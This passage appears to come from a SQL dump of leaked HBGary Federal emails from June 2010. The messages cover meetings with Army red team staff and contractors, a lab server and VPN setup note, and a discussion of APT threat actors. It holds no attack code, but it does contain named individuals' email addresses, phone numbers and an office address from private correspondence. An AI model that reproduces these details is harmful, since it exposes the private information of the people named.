and the Vulnerability Assessment Detachment\r\n>> Chief, Mrs. Brooks. If you want, you can shoot me a list of topics\r\n>> that you would like to discuss. Again, thanks for taking the time\r\n>> to speak with us.\r\n>>>\r\n>>> Very Respectfully,\r\n>>>\r\n>>> CPT Stephen W. Turner\r\n>>> DSN 703-428-4514\r\n>>>\r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr >> Date: Monday, June 21, 2010 9:36 am\r\n>>> Subject: Re: Meeting (UNCLASSIFIED)\r\n>>> To: \"Turner, Stephen W CPT MIL USA\" >>\r\n>>>\r\n>>>> Friday looks good for me. I will come to you.\r\n>>>>\r\n>>>> Let me know time and place and I\'ll be there.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> On Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA wrote:\r\n>>>>\r\n>>>>> Classification: UNCLASSIFIED\r\n>>>>> Caveats: FOUO\r\n>>>>>\r\n>>>>> Mr. Barr,\r\n>>>>> Thanks for your briefing, I really appreciate it. I have a\r\n>>>> writing> course from Tuesday to Thursday but I\'m free on Friday of\r\n>>>> this week.\r\n>>>>> Next week is pretty open for me. Where are you located? I assume\r\n>>>> up near\r\n>>>>> Ft. Meade. Our office is in Springfield, Virginia. If we met\r\n>>>> here it\r\n>>>>> would be easier for us to get my boss, Mrs. Brooks, involved\r\n>>>> concerning> Fidelis. She has been leading force in fighting to get\r\n>>>> monitoring tools\r\n>>>>> such as Fidelis on Army networks. If you are near Ft. Meade or\r\n>>>>> close\r\n>>>>> enough to metro area I could easily come to you. Let me know\r\n>>>> what is\r\n>>>>> convenient for you and we\'ll pick a time. Thanks\r\n>>>>>\r\n>>>>> CPT Steve Turner\r\n>>>>>\r\n>>>>> Classification: UNCLASSIFIED\r\n>>>>> Caveats: FOUO\r\n>>>>>\r\n>>>>>\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n',954,'aaron_hbgary_com/954.html'),(7643,'2010-06-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005827.M373023P14101Q2498.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Meeting (UNCLASSIFIED)','From my iPhoneBegin forwarded message:From: &quot;Turner, Stephen W CPT MIL USA USINSCOM&quot; &lt;stephen.w.turner@us.army.mil&gt;\r\nDate: June 22, 2010 5:54:53 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Meeting (UNCLASSIFIED)\r\nAaron,I think all of these topics would be of interest for the red team in one way or another. I&#39;ll need to get our computer guys to attend because they know much more about the malware and computer lingo. My section is specifically interested in creating awareness of new media threats and how to protect against them. \r\nV/RCPT Stephen W. TurnerDSN 703-428-4514----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Monday, June 21, 2010 9:38 pmSubject: Re: Meeting (UNCLASSIFIED)To: &quot;Turner, Stephen W CPT MIL USA USINSCOM&quot; &lt;stephen.w.turner@us.army.mil&gt;\r\nCPT Turner,Let me give you a quick list of things I can talk about and you \r\ntell me which ones are of the most interest. I can tailor any material, etc to your interest.\r\nHBGary Technology that enables enterprise advanced detection of advanced zero day malware.\r\n1. DDNA - Behavior based malware detection.2. Active Defense - Enterprise advanced malware detection and analysis\r\n4. Threat Management - Volume malware processor. 20K malware a day.Services and Thought Leadership\r\n1. CERT/SOC Operations - Technologies and Processes that enable transformation of CERT/SOC operations. Knowledge management. \r\nInformation Sharing. New Media, Bringing Malware analysis into Net Defense.2. Incident Response - New technologies and processes for more \r\nefficient IR engagements with leave behind capability for continuous monitoring.\r\n3. Threat Intelligence - new threats require better threat intelligence to understand. Approach to threat intelligence.\r\n4. IO - A list of things better discussed in person. Novell ways to implement persistent internet operations. New Media, CovCom, etc.\r\nI can pass my clearances if needed.Aaron\r\nOn Jun 21, 2010, at 10:58 AM, Turner, Stephen W CPT MIL USA \r\nUSINSCOM wrote:How about 10:00 here at metro park. I figure the traffic should \r\ngood by then and you can still get out of here before the Friday traffic starts again. If that time doesn&#39;t work let me know and \r\nwe&#39;ll pick another one. The address is: 6359 Walker Lane, Alexandria, VA 22310\r\nOnce you get here you can give me a call at 703-428-4514 and I&#39;ll meet up with you. We&#39;ll be meeting with the Army Red Team \r\nChief, MAJ Verell, and the Vulnerability Assessment Detachment Chief, Mrs. Brooks. If you want, you can shoot me a list of topics \r\nthat you would like to discuss. Again, thanks for taking the time to speak with us.\r\nVery Respectfully,\r\nCPT Stephen W. TurnerDSN 703-428-4514\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;Date: Monday, June 21, 2010 9:36 am\r\nSubject: Re: Meeting (UNCLASSIFIED)To: &quot;Turner, Stephen W CPT MIL USA&quot; &lt;\r\n\r\nFriday looks good for me. I will come to you.\r\nLet me know time and place and I&#39;ll be there.\r\nAaron\r\n\r\nOn Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA wrote:\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\nMr. Barr,\r\nThanks for your briefing, I really appreciate it. I have a \r\nwriting&gt; course from Tuesday to Thursday but I&#39;m free on Friday of \r\nthis week.\r\nNext week is pretty open for me. Where are you located? I assume \r\nup nearFt. Meade. Our office is in Springfield, Virginia. If we met \r\nhere it\r\nwould be easier for us to get my boss, Mrs. Brooks, involved \r\nconcerning&gt; Fidelis. She has been leading force in fighting to get \r\nmonitoring toolssuch as Fidelis on Army networks. If you are near Ft. Meade or close\r\nenough to metro area I could easily come to you. Let me know \r\nwhat is\r\nconvenient for you and we&#39;ll pick a time. Thanks\r\nCPT Steve Turner\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\nAaron Barr\r\nCEOHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10885,'aaron_hbgary_com/10885.html'),(7644,'2010-06-22','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297005827.M618912P14101Q2499.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Server Config & network','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nDESTINI is now running all the web server services (including the perl\r\nscripts) and the VPN is stable/secure as far as the testing I\'ve done\r\nremotely.  She also accepts SSH connections and allows X11 forwarding.\r\nI\'ve tested remotely and have been able to VPN in, receive a HBG-vpn IP,\r\nSSH into DESTINI and remotely run graphical displays.\r\n\r\nI\'m attempting to get a full X11 session available from a remote console\r\nnow.  If I can do that it will be a complete solution so that you can\r\nwork from anywhere and appear as though you sit in lab while\r\nmonitoring/configuring testing and being able to keep up on the IP searches.\r\n\r\nI\'ve set up some virtual machines using VirtualBox instead of VMWare as\r\nit is free/open source.  It works great!  Came right up on the network\r\nwith no issues and is fast!  Will make for a great array of virtual test\r\nboxes for ActiveDefense & the Fidelis stuff.\r\n\r\nBecause of the move to an actual server vice the laptop the IP searches\r\nshould stop dropping out intermittently with no way to correct the error\r\nuntil the next morning...I\'m monitoring now.\r\n\r\nI know you guys don\'t really care about the techie shit until it breaks\r\nbut I\'ve got no one else to tell.\r\n\r\n- -Mark\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAkwhR0oACgkQWw/TEDXzQNMH2gCff36kENUE4wDILyqFdqjXqsBs\r\nUI0An2F915odRHacpAT7nYGv3rXSNy//\r\n=FkHc\r\n-----END PGP SIGNATURE-----\r\n',6082,'aaron_hbgary_com/6082.html'),(7645,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005827.M872570P14101Q2500.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: Server Config & network','Mark,\r\n\r\nCool stuff.  I do care, sort of.  I used to care a lot more... sad.\r\nOf course if o did care more, you might say, \"what the he\'ll are you\r\ndoing go win us a contract!\". We will get you another geek soon.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jun 22, 2010, at 7:29 PM, Mark Trynor  wrote:\r\n\r\n> -----BEGIN PGP SIGNED MESSAGE-----\r\n> Hash: SHA1\r\n>\r\n> DESTINI is now running all the web server services (including the perl\r\n> scripts) and the VPN is stable/secure as far as the testing I\'ve done\r\n> remotely.  She also accepts SSH connections and allows X11 forwarding.\r\n> I\'ve tested remotely and have been able to VPN in, receive a HBG-vpn\r\n> IP,\r\n> SSH into DESTINI and remotely run graphical displays.\r\n>\r\n> I\'m attempting to get a full X11 session available from a remote\r\n> console\r\n> now.  If I can do that it will be a complete solution so that you can\r\n> work from anywhere and appear as though you sit in lab while\r\n> monitoring/configuring testing and being able to keep up on the IP\r\n> searches.\r\n>\r\n> I\'ve set up some virtual machines using VirtualBox instead of VMWare\r\n> as\r\n> it is free/open source.  It works great!  Came right up on the network\r\n> with no issues and is fast!  Will make for a great array of virtual\r\n> test\r\n> boxes for ActiveDefense & the Fidelis stuff.\r\n>\r\n> Because of the move to an actual server vice the laptop the IP\r\n> searches\r\n> should stop dropping out intermittently with no way to correct the\r\n> error\r\n> until the next morning...I\'m monitoring now.\r\n>\r\n> I know you guys don\'t really care about the techie shit until it\r\n> breaks\r\n> but I\'ve got no one else to tell.\r\n>\r\n> - -Mark\r\n> -----BEGIN PGP SIGNATURE-----\r\n> Version: GnuPG v1.4.10 (GNU/Linux)\r\n> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n>\r\n> iEYEARECAAYFAkwhR0oACgkQWw/TEDXzQNMH2gCff36kENUE4wDILyqFdqjXqsBs\r\n> UI0An2F915odRHacpAT7nYGv3rXSNy//\r\n> =FkHc\r\n> -----END PGP SIGNATURE-----\r\n',5513,'aaron_hbgary_com/5513.html'),(7646,'2010-06-23','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297005828.M241585P14101Q2501.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: SecDev - Meeting in Washington area - June 23 (Wednesday)','Hi Aaron,Just wanted to follow up on our meeting tomorrow at 1300hrs - where should we meet you in Tysons Corner?Best wishes, and looking forward to meeting you again!ArnavOn 2010-06-21, at 9:59 PM, Aaron Barr wrote:I am going to be coming from Chantilly so let\'s not head up to Bethesda and deal with traffic. &nbsp;I will get us an office in Tysons Corner. &nbsp;Sound Good? &nbsp;I will send an address tomorrow.\r\nAaronSent from my iPadOn Jun 21, 2010, at 10:40 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nWe can come down to Bethesda. We have a meeting in McLean at 11am, so I was planning we would end after 12pm and then head over to your place. Do you think that\'s best, given traffic on a Wednesday?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\nOn 2010-06-21, at 10:34 AM, Aaron Barr wrote:\r\nThat should work fine. &nbsp;Where would you like to meet?AaronOn Jun 21, 2010, at 10:31 AM, Arnav Manchanda wrote:\r\nHi Aaron,How does 1pm sound, or shortly after?Best,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-06-21, at 10:27 AM, Aaron Barr wrote:\r\nSorry I meant Wednesday.On Jun 18, 2010, at 1:46 PM, Arnav Manchanda wrote:\r\nHi Aaron,That will work, most likely early afternoon. I\'ll confirm ASAP with a time that works best, since I have to check the travelling around part :)Best,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; Analytics\r\nThe&nbsp;SecDev&nbsp;Groupcomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\nOn 2010-06-18, at 6:54 AM, Aaron Barr wrote:Hi Arnav,Sounds great. &nbsp;I have a meeting in Chantilly from 10-11, so how about the afternoon?\r\nAaronSent from my iPad\r\nOn Jun 17, 2010, at 10:47 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nDear Aaron,I hope all is well with you and the team at HBGary. Rafal and I were hoping to make it down to Washington next week, Wednesday June 23, and to meet with you and your colleagues. Would you be available that day, and if so at what times?\r\n\r\nBest wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\nArnav Manchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\n\r\ncomplexity.engaged\r\n\r\nWorld Exchange Plaza\r\n\r\n45 O\'Connor Street, Suite 1150\r\n\r\nOttawa, Ontario K1P 1A4\r\n\r\nOffice:&nbsp;+1 (613) 755-4007\r\n\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',6406,'aaron_hbgary_com/6406.html'),(7647,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005829.M579857P14101Q2502.eml','\"Strang, Larry (TASC)\" <larry.strang@tasc.com>','Re: Discussion on cyber','OK.  I have a meeting at 11:00 at FANX.  Can we meet earlier in the morning or 2pm or later?\r\n\r\nAaron\r\n\r\nOn Jun 22, 2010, at 6:54 AM, Strang, Larry (TASC) wrote:\r\n\r\n> Am in the Navy symposium in HCC all day today.  Looks like Thursday for\r\n> right now.\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, June 21, 2010 6:39 PM\r\n> To: Strang, Larry (TASC)\r\n> Subject: Re: Discussion on cyber\r\n> \r\n> Sure.  I can do thursday, unless you can do tomorrow morning?  I am in\r\n> MD all tomorrow.\r\n> \r\n> Your call.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jun 21, 2010, at 5:57 PM, \"Strang, Larry (TASC)\"\r\n>  wrote:\r\n> \r\n>> Whoops, life at the speed of cyber just struck; am now headed to one\r\n> of\r\n>> the local colleges Wed afternoon to work on a cyber curriculum so we\r\n>> will have to look at another time. Your next best opportunity?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, June 21, 2010 5:33 PM\r\n>> To: Strang, Larry (TASC)\r\n>> Subject: Re: Discussion on cyber\r\n>> \r\n>> We\'d afternoon would be great if you have the time then.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPad\r\n>> \r\n>> On Jun 21, 2010, at 4:45 PM, \"Strang, Larry (TASC)\"\r\n>>  wrote:\r\n>> \r\n>>> I sit in AJ but also spend a day or two a week in Chantilly. Thursday\r\n>> I\r\n>>> am in AJ but I can carve some time out of Wed when I will be in\r\n>>> Chantilly in the afternoon.  Thoughts\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Monday, June 21, 2010 10:41 AM\r\n>>> To: Strang, Larry (TASC)\r\n>>> Subject: Re: Discussion on cyber\r\n>>> \r\n>>> Ha.  I like the three bears comment!  And I can see it would be a\r\n> much\r\n>>> better fit, not so big, mission not so spread out.  You can focus you\r\n>>> energies to help them develop a cyber strategy within a much more\r\n>>> defined context.  Still any cyber strategy effort today is not\r\n> without\r\n>>> its challenges, the government just is not getting its act together.\r\n>>> \r\n>>> Thanks.  Like you this feels just right.  I am having a blast, the\r\n>>> anxiety and exhilaration of trying to build a business is an\r\n>> invaluable\r\n>>> experience for me.  I am not happy with the manner in which I left,\r\n>> but\r\n>>> alls well that ends well and I have maintained good relationships\r\n> with\r\n>>> just about all of my previous close coworkers.  I sit in\r\n>> Tysons/Mclean.\r\n>>> We don\'t have a DC office yet, main offices in Sacramento and\r\n> Colorado\r\n>>> Springs.  So I do meetings/home/coffeeshop/rentaoffice in that order.\r\n>>> This week I have Thursday open and am pretty open next week.  I will\r\n>> be\r\n>>> in Chantilly on Wednesday working on a proposal with Al\'s group, I am\r\n>>> not sure where you sit.  Let me know when you have some availability.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> On Jun 21, 2010, at 10:31 AM, Strang, Larry (TASC) wrote:\r\n>>> \r\n>>>> Hey Aaron,\r\n>>>> \r\n>>>> Great to hear from you; how are things at HBGary?  Thanks for the\r\n>>>> tentative congratulations but I will tell you I am pleased to be\r\n>> here.\r\n>>>> Northrop is a great company, just way too big, and like the three\r\n>>> bears\r\n>>>> said, this one is JUST right.  Or at least it is so far.  And many\r\n> of\r\n>>>> your friends here still remember you well.  I think I saw where your\r\n>>>> duty title was the CEO and so I am duly impressed.  Congratulations\r\n>>>> yourself.  Where do you actually sit?  When would you like to get\r\n>>>> together?  Let me know and we\'ll make it happen,\r\n>>>> \r\n>>>> 	Larry\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Wednesday, June 16, 2010 9:55 AM\r\n>>>> To: Strang, Larry (TASC)\r\n>>>> Subject: Discussion on cyber\r\n>>>> \r\n>>>> Hi Larry,\r\n>>>> \r\n>>>> Congratulations... I think. ;)\r\n>>>> \r\n>>>> Attached is our datasheet for information security services.  I\r\n> would\r\n>>>> like to get together at your convenience to talk cyber.  I had a\r\n>> brief\r\n>>>> meeting with Wood last week and mentioned to him, if interested, i\r\n>>> would\r\n>>>> like to work together.  TASC is a second home for me and contains\r\n>> many\r\n>>>> friends.\r\n>>>> \r\n>>>> Aaron\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',826,'aaron_hbgary_com/826.html'),(7648,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005829.M831466P14101Q2503.eml','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','Re: Dinner','How about Friday?\r\n\r\nOn Jun 22, 2010, at 7:01 AM, Bailey, Don wrote:\r\n\r\n> Good morning Aaron,\r\n> \r\n> Thursday & Friday of this week look good as does any evening next week.\r\n> \r\n> Don\r\n> \r\n> Don Bailey\r\n> Blackbird Technologies, PDG\r\n> 703.345.1304 office\r\n> 703.582.1277 cell\r\n> dbailey@blackbirdtech.com\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, June 21, 2010 10:11 PM\r\n> To: Bailey, Don\r\n> Subject: Dinner\r\n> \r\n> Ok Don,\r\n> \r\n> Hows does this week or next look?  I am back in town after the FIRST\r\n> conference and have a list of things to discuss with you.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4724,'aaron_hbgary_com/4724.html'),(7649,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005837.M899177P14101Q2504.eml','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','Re: hbgary','Dave,\r\n\r\nI forgot to send you Greg\'s presentation.\r\n\r\nDo you have time to grab a drink after work on Friday?\r\n\r\nAaron\r\n\r\n',451,'aaron_hbgary_com/451.html'),(7650,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005842.M182630P14101Q2505.eml','\"Morgan Adams\" <morgan@integratedcc.com>','HBGary Federal General Service Offerings','\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1370,'aaron_hbgary_com/1370.html'),(7651,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005844.M286510P14101Q2506.eml','\"Sweeney, Stacey\" <stacey.sweeney@fidelissecurity.com>','Re: Datasheet','Sorry for the delay in logos.  Let me know if these are good.\r\n\r\nAaron\r\n\r\n',3143,'aaron_hbgary_com/3143.html'),(7652,'2010-06-23','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297005844.M636260P14101Q2507.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: draft blog post for \"APT and Botnets\"','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n:)&nbsp; Good man.&nbsp; I hope you\'re well.&nbsp; I had a great time last\r\nWednesday night, how did you feel the next day? \r\n\r\n&nbsp;\r\n\r\nLook forward to catching up soon.\r\n\r\n\r\nRC\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, June 21, 2010 9:10 AM\r\nTo: Greg Hoglund\r\nCc: Phil Wallisch; Mike Spohn; Shawn Bracken; Rich Cummings\r\nSubject: Re: draft blog post for &quot;APT and Botnets&quot;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreg,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI think its a good post.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust to restate a bit to insure clarification.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAPT I think still entails two different types of threat\r\nactors; Criminal underground and nation state. &nbsp;The reason it is important\r\nto differentiate is their tactics can be very different. &nbsp;The criminal\r\nunderground is going for volume, so they are much more likely to use botnets,\r\ncommon UIs, etc. to improve efficiency and harvest. &nbsp;To say they are\r\npredominately Russian today is as you say a gross misstep. &nbsp;When the term\r\nwas coined a few years back it was predominately Russian because they were the\r\nfirst to prove the market, but now that it has been shown there is lots of\r\nmoney to be made you can bet there will be small and large organized groups\r\nthat will get into the game, but I believe they can all be classified similarly\r\nin characteristics.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nState sponsored could use some of these capabilities, even\r\nbuy compromised machines. &nbsp;But the big difference lies in intent.\r\n&nbsp;Attack and exploitation has been worked into the military and foreign\r\nintelligence infrastructure of some of our adversaries. &nbsp;Organizations\r\nwith very specific mission objectives that are not necessarily financially\r\nmotivated, or at least not specifically. &nbsp;In these circumstances any and\r\nall means will be used to achieve an objective. &nbsp;And the objective may be\r\njust a piece of a much larger mission. &nbsp;In this context any attack could\r\nbe part of APT, ANY. &nbsp;It could\r\nlook quite routine, even amateurish. &nbsp;The only way to tell is to combine\r\nthis information within a larger threat intelligence picture. &nbsp;By itself\r\nit would likely be impossible to define as APT unless someone screwed up.\r\n&nbsp;This is what Espionage and Covert Action are all about. &nbsp;Espionage\r\nhappens every day by the major countries (and the minor ones) and yet the\r\nnumber of cases that make the press and can be proven you can count on both\r\nhands. &nbsp;This threat is far more challenging, and I can tell you no one has\r\nmade a dent yet, not Mandiant, not HBGary, no one. &nbsp;The best threats out\r\nthere have not yet been detected. &nbsp;The money and time that goes into\r\ndeveloping these capabilities you can measure in the 100s of millions for each\r\nmajor country, the number of people working their capabilities in the\r\nthousands. &nbsp;The infrastructure to manage is complex, has redundancy, and\r\nis built to not be detected. &nbsp;Think for a moment what an organization can\r\ndo when what is available is fare more unbounded. &nbsp;Need a persona with\r\nlegitimate credit cards and identification, no problem, need an ISP overseas to\r\nassist, no problem.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe state sponsored threat is an entirely different ball\r\ngame.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 19, 2010, at 3:47 PM, Greg Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYoyo,\r\n\r\n\r\n\r\n\r\n\r\nI am working on this as a blog post.&nbsp; Here is a first\r\ndraft.&nbsp; It\'s getting a bit long so maybe I will pitch it to Karen as an\r\narticle instead.&nbsp; Please give me feedback if you have time.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n&lt;APT and Botnets.docx&gt;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1046,'aaron_hbgary_com/1046.html'),(7653,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005844.M953110P14101Q2508.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: draft blog post for \"APT and Botnets\"','Hey Rich,Yeah I had a good time. &nbsp;I did not feel well the next day. &nbsp;I don\'t know how you made it to Atlanta, but good on ya. &nbsp;Sounds like you really brought it home. &nbsp;Your going to GFIRST right? &nbsp;not quite South Beach but I am sure we can find some fun.Things are good. &nbsp;The feedback on my New Media talk is still coming out, this week I have meetings at 1st IO, OSD, and NSA specifically to talk about New Media, so just have to turn it into revenue. &nbsp;On Friday I am talking with the Chief of the red team and blue team at 1st IO. &nbsp;They are interested in New Media, IO, Active Defense&amp;Fidelis, TMC, the whole lot of stuff.Would love to talk to you about what you saw in Atlanta.AaronOn Jun 22, 2010, at 9:41 PM, Rich Cummings wrote::)&nbsp; Good man.&nbsp; I hope you\'re well.&nbsp; I had a great time last Wednesday night, how did you feel the next day?&nbsp;Look forward to catching up soon.RC&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, June 21, 2010 9:10 AMTo:&nbsp;Greg HoglundCc:&nbsp;Phil Wallisch; Mike Spohn; Shawn Bracken; Rich CummingsSubject:&nbsp;Re: draft blog post for \"APT and Botnets\"&nbsp;Greg,&nbsp;I think its a good post.&nbsp;Just to restate a bit to insure clarification.&nbsp;APT I think still entails two different types of threat actors; Criminal underground and nation state. &nbsp;The reason it is important to differentiate is their tactics can be very different. &nbsp;The criminal underground is going for volume, so they are much more likely to use botnets, common UIs, etc. to improve efficiency and harvest. &nbsp;To say they are predominately Russian today is as you say a gross misstep. &nbsp;When the term was coined a few years back it was predominately Russian because they were the first to prove the market, but now that it has been shown there is lots of money to be made you can bet there will be small and large organized groups that will get into the game, but I believe they can all be classified similarly in characteristics.&nbsp;State sponsored could use some of these capabilities, even buy compromised machines. &nbsp;But the big difference lies in intent. &nbsp;Attack and exploitation has been worked into the military and foreign intelligence infrastructure of some of our adversaries. &nbsp;Organizations with very specific mission objectives that are not necessarily financially motivated, or at least not specifically. &nbsp;In these circumstances any and all means will be used to achieve an objective. &nbsp;And the objective may be just a piece of a much larger mission. &nbsp;In this context any attack could be part of APT,&nbsp;ANY. &nbsp;It could look quite routine, even amateurish. &nbsp;The only way to tell is to combine this information within a larger threat intelligence picture. &nbsp;By itself it would likely be impossible to define as APT unless someone screwed up. &nbsp;This is what Espionage and Covert Action are all about. &nbsp;Espionage happens every day by the major countries (and the minor ones) and yet the number of cases that make the press and can be proven you can count on both hands. &nbsp;This threat is far more challenging, and I can tell you no one has made a dent yet, not Mandiant, not HBGary, no one. &nbsp;The best threats out there have not yet been detected. &nbsp;The money 